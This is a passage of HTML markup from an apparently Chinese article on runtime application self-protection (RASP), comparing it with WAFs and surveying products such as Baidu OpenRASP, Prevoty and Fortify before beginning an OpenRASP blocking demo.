1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">网络</span><span style="font-family:Times New Roman;">协议</span></p></td><td width="217" valign="top" style="width:163.0pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">不受协议限制，可以轻松地处理各种协议，如HTTP、HTTPS、AJAX、SQL和SOA</span><span style="font-family:Times New Roman;">P</span></p></td><td width="219" valign="top" style="width:164.4pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">只能</span><span style="font-family:Times New Roman;">处理能解析的协议</span></p></td></tr><tr style="height:15.9pt;"><td width="123" valign="top" style="width:91.9pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">语言</span><span style="font-family:Times New Roman;">涵盖情况</span></p></td><td width="217" valign="top" style="width:163.0pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">理论上不限</span><span style="font-family:Times New Roman;">制语言，但每种语言需要开发单独的探针</span></p></td><td width="219" valign="top" style="width:164.4pt;border-top:solid windowtext 1.0pt;border-left:solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;padding:0pt 5.4pt 0pt 5.4pt;"><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;"><span style="font-family:Times New Roman;">不</span><span style="font-family:Times New Roman;">限语言；不受程序设计语言类型的限制</span></p></td></tr></tbody></table><section style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-top: 10px;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">2.2 RASP相比于WAF的优势和劣势</span></section><section style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">2.2.1 优势</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></section><section style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（1）更少的误报</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></section><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">WAF基于请求特征监测攻击，通常无法得知攻击是否成功，对于扫描器的踩点行为、nday扫描，一般会产生大量报警。RASP运行在应用内部，失败的攻击不会触发检测逻辑，所以一旦报警都是成功的攻击。</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 5px;margin-top: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（2）更少的漏报</span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">以SQL注入为例，WAF等边界设备只能看到请求信息。RASP不但能够看到请求信息，还能看到完整的SQL语句，并进行关联。如果SQL注入让服务器产生了语法错误或其他异常，RASP引擎也能够识别和处理。</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 5px;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（3）可以对抗未知漏洞。</span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">发生攻击时，WAF等边界防护设备无法掌握应用下一步的动向。RASP技术可以识别出异常的程序逻辑，比如反序列化漏洞导致的命令执行，因此可以对抗未知漏洞。</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 5px;margin-top: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（4）更多的应用覆盖（HTTP/HTTPS/AJAX/SQL与SOAP，无视编码和加密）</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">2.2.2 劣势</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 5px;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（1）技术栈太多时使用不方便，存在技术难度</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 5px;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（2）对服务器性能有一定的影响且需要在每个服务器上部署</span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（3）RASP自身代码的漏洞无法检测</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">比如，OpenRASP在某版本中使用了受漏洞影响的FastJson库来处理相应的json数据，那么当攻击者在发送FastJson反序列化攻击payload的时候就会造成目标系统被RCE。所以在最新的OpenRASP中，统一使用了较为安全的Gson来处理json字符串。</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-family: &#34;Times New Roman&#34;;font-size: 24px;">3. RASP产品</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.1. 百度OpenRASP</span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size: 12pt;line-height: 150%;font-family: &#34;Times New Roman&#34;;"><a href="https://rasp.baidu.com/doc/usage/web.html" target="_blank">https://rasp.baidu.com/doc/usage/web.html</a></span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 10px;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.1.1 主要功能</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 5px;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（1）OWASP TOP10攻击检测</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 5px;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（2）服务器安全基线检查，如后台弱口令、php的配置审计等</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 5px;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（3）应用加固</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 5px;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（4）统一管理后台</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 0pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（5）SIEM/SOC集成</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 10px;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.1.2 支持的服务器</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">目前支持 Java 和 PHP 两种开发语言，支持 Tomcat 6-11, JBoss 4-16, Jetty 7-9, SpringBoot 1-2, WebSphere 7-9, WebLogic 10-12, PHP 5-7 等服务器。另外，OpenRASP 提供的IAST解决方案，相比于与传统的DAST方案有着极大提升。漏洞检测无需动态爬虫或者旁路代理，扫描更全面；结合应用探针准确的识别漏洞类型，通过针对性扫描大幅度提升检测效率；商业版新增的动态污点追踪能力，还可以在不扫描的情况下，预判接口是否存在漏洞。</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-top: 10px;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.2. 国内其他RASP产品</span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;text-indent: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.2.1 灵蜥安全</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;white-space: normal;font-size: 10.5pt;font-family: 等线;text-indent: 21pt;line-height: 21px;text-align: justify;"><span style="font-size: 12pt;line-height: 24px;font-family: &#34;Times New Roman&#34;;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"> </span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"><a href="http://www.lingxe.com/introduction.html" target="_blank">http://www.lingxe.com/introduction.html</a></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">灵蜥安全是一款云安全应用防护系统，与应用程序的运行环境和开发语言无缝结合并高度融合。通过修复应用自身内部缺陷与漏洞，使应用具备攻击免疫能力，并以可视化的方式呈</span><span style="font-family: &#34;Times New Roman&#34;;font-size: 12pt;text-indent: 21pt;">现攻击与防御情况。</span><br/></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">灵蜥由系统云端与嵌入式安全脚本两部分构成，嵌入式安全脚本部署于受防护Web服务器，以加密通讯方式通过Internet网络与云端建立通信，组成以平台端为核心的星型网络拓扑结构；同时具备自我防护能力，免学习、低误判、高精度、抗干扰，可图形呈现、统一管理、可视化分析全局把控；保持网络原有架构，即插即用方便快捷，实时安全告警，威胁及时掌握，从而抵御未知威胁。</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.2.2 安数云RASP</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"><a href="http://www.datacloudsec.com/#/product-4" target="_blank">http://www.datacloudsec.com/#/product-4</a></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">安数云RASP的主要功能如下</span><span style="font-family: &#34;Times New Roman&#34;;font-size: 12pt;text-indent: 21pt;">：</span><br/></p><section style="text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;text-indent: 0em;margin-bottom: 5px;margin-top: 5px;"><span style="font-family: &#34;Times New Roman&#34;;font-size: 12pt;text-indent: 21pt;">（1）</span><span style="font-family: &#34;Times New Roman&#34;;font-size: 12pt;text-indent: 21pt;">WEB攻击实时防御</span></section><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">有效防御SQL注入、XSS跨站脚本、木马上传、防扫描、防Structs2攻击、防命令注入、防任意文件删除、防任意文件读取、防任意文件上传、防CSRF攻击等， 实现了HTTP协议校验、XPATH注入防护、SSRF命令注入防护、反序列化攻击防护等、 敏感信息泄露、cookie安全防护、错误页面安全防护、请求方法限制防护等。</span></p><section style="text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;text-indent: 0em;margin-bottom: 5px;margin-top: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（2）智能精准实时防控</span></section><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">安数云RASP WAF采用B/S架构，提供了简单易用WebUI操作界面，用户登录之后能够对RASP WAF进行详细的配置管理，能够添加、编辑及删除被防护主机及对应的安全策略，能够管理系统统计日志及报表，能够实现对系统的远程管理及维护。</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.2.3 云鲨RASP（悬镜）</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"><a href="https://cg.xmirror.cn/" target="_blank">https://cg.xmirror.cn/</a></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 21pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">云鲨RASP可监控和阻止绝大多数类型对应用程序的攻击。除了全面覆盖OWASP TOP10及其它常见漏洞外，还可以抵御传统WAF无法识别的攻击，如针对未知漏洞和</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">业务逻辑漏洞的利用攻击。</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">相比于传统WAF，云鲨RASP具有以下特点：无需频繁调整、无需规则匹配、无误拦误报、超低性能消耗、无需停机或源代码更改即可修复CVE、防御非HTTP攻击、防御未知缺陷、防止绕过。</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.3 国外RASP产品</span></p><section style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.3.1 Prevoty（Imperva）</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></section><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"><a href="https://www.imperva.com/products/runtime-application-self-protection-rasp/?redirect=Prevoty" target="_blank">https://www.imperva.com/products/runtime-application-self-protection-rasp/?redirect=Prevoty</a></span></p><section style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;line-height: 150%;text-indent: 0em;margin-top: 5px;margin-bottom: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（1）功能</span></section><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">该产品可以预防0day攻击，支持OWASP TOP10的攻击检测，主要有以下几种防御功能：</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">1）攻击：点击劫持、HTTP 响应拆分、HTTP 方法篡改、大量请求、格式错误的内容类型、路径遍历、未经验证的重定向、软件供应链攻击</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">2）注入：命令注入跨站脚本、跨站请求伪造、CSS &amp; HTML 注入、数据库访问冲突、JSON &amp; XML 注入、OGNL注入、SQL注入</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">3）脆弱性：不安全的 Cookie 和传输、记录敏感信息、未经授权的网络活动、未捕获的异常、易受攻击的依赖项、弱认证、弱浏览器缓存、弱密码</span></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 5px;margin-top: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">（2）支持的平台</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=dce0371e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBWsOwdWwsUeHN5obPxiamU1xFoic7YG6l7hicRRRpqla4A3jfHY6qutYUA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0pt;text-align: justify;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;line-height: 150%;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.3.2 Fortify Application Defender</span></p><p style="text-align: justify;margin-left: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">Application Defender 可以防止生产应用程序中的攻击。支持区分 Java 和 .NET 应用程序中的危险攻击和合法请求；具有代码级的可见性，通过为开发人员提供代码行详细信息，提供了日志记录可见性。无需更改源代码，即可向任何 SIEM 或日志管理器发送日志，实现合规和更广泛的应用程序安全可视性；强大的分层防御，抵御各种应用安全攻击、利用尝试和其他安全违规行为，比如 SQL 注入、跨站脚本攻击和侵犯隐私。</span></p><p style="margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;line-height: 150%;margin-top: 10px;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">3.4 RASP产品总结</span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 24.0pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">现有的RASP产品大都支持OWASP TOP10攻击的检测与防御。但目前国内成熟的RASP产品相对较少，现有的RASP产品大部分仅支持Java 、PHP、python、Nodejs、Ruby等语言中的一种或几种，覆盖面还不够广，对于开发支持多种语言的RASP有一定的技术难度，仍需进一步完善。</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><section style="margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;line-height: 150%;margin-top: 10px;margin-bottom: 10px;"><span style="font-family: &#34;Times New Roman&#34;;font-size: 24px;">4. OpenRASP demo演示</span></section><section style="margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;line-height: 150%;margin-top: 10px;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;"><span style="font-family: &#34;Times New Roman&#34;;font-size: 16px;text-indent: 32px;">        由于百度的OpenRASP是开源的，因此我们使用该产品来进行demo的演示，从而更加直观地感受到RASP产品是如何防护应用程序免受外部攻击的</span><span style="font-family: &#34;Times New Roman&#34;;font-size: 16px;text-indent: 32px;">。</span></span></section><section style="margin-top: 0pt;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;line-height: 150%;margin-bottom: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">4.1 php服务器</span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;"></span></section><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 0.0pt;text-align: justify;text-justify: inter-ideograph;margin-left: 0.0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 24.0pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">在php服务器上搭建并部署OpenRASP，使用如下图所示的官方测试用例进行演示。测试用例包含常见的web应用攻击，包括列目录、任意文件读取、命令执行、ssrf、文件上传等。</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;line-height: 150%;"><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0412735849056605" data-s="300,640" style="" data-type="png" data-w="848" src="https://wechat2rss.xlab.app/img-proxy/?k=a888f640&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBOHKjF48iblxBXNjF8EAIoyuN8u45RB7woKAibaibBnK1MBhp18EV1KyXg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;margin-bottom: 5px;margin-top: 5px;">    <span style="font-size: 16px;">  <span style="font-size: 16px;line-height: 150%;font-family: &#34;Times New Roman&#34;;"> 以第一个测试用例为例，演示当部署了OpenRASP之后，攻击者的scandir手段是否会被检测并拦截</span></span><br/></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6896907216494845" data-s="300,640" style="" data-type="png" data-w="970" src="https://wechat2rss.xlab.app/img-proxy/?k=9022fd4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBc0jhGRMdxyl5ibXMTS6icvqhCJMdxSYIg9PH4Ohrz3yLPGwQOjpqQicnQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;text-indent: 24pt;line-height: 150%;margin-bottom: 5px;margin-top: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">点击Linux不正常调用，发现被rasp拦截并返回了以下页面：</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5243697478991597" data-s="300,640" style="" data-type="png" data-w="1190" src="https://wechat2rss.xlab.app/img-proxy/?k=1d76d35d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBpMHWia5eZzQC6ia8orK9mibdzzFgnJ8zDRI49WCg2rG5otBBxOaVFAibaA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;text-indent: 24pt;line-height: 150%;margin-bottom: 5px;margin-top: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">在rasp日志中可以看到本次拦截所记录的日志</span></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.42857142857142855" data-s="300,640" style="" data-type="png" data-w="812" src="https://wechat2rss.xlab.app/img-proxy/?k=1ecb4c68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBIrlYWIYr6icRQaibLsZBhhkpXlPrSia9r8doU4zjpvuFGEJrC6CjLicADA%2F640%3Fwx_fmt%3Dpng"/><span style="font-family: &#34;Times New Roman&#34;;font-size: 14pt;text-align: left;text-indent: 0pt;"></span></p><p style="margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;line-height: 150%;margin-bottom: 10px;margin-top: 10px;"><span style="font-size:16.0pt;font-family:Times New Roman;">4.2 tomcat服务器</span><span style="font-size:14.0pt;line-height:150%;font-family:Times New Roman;"></span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 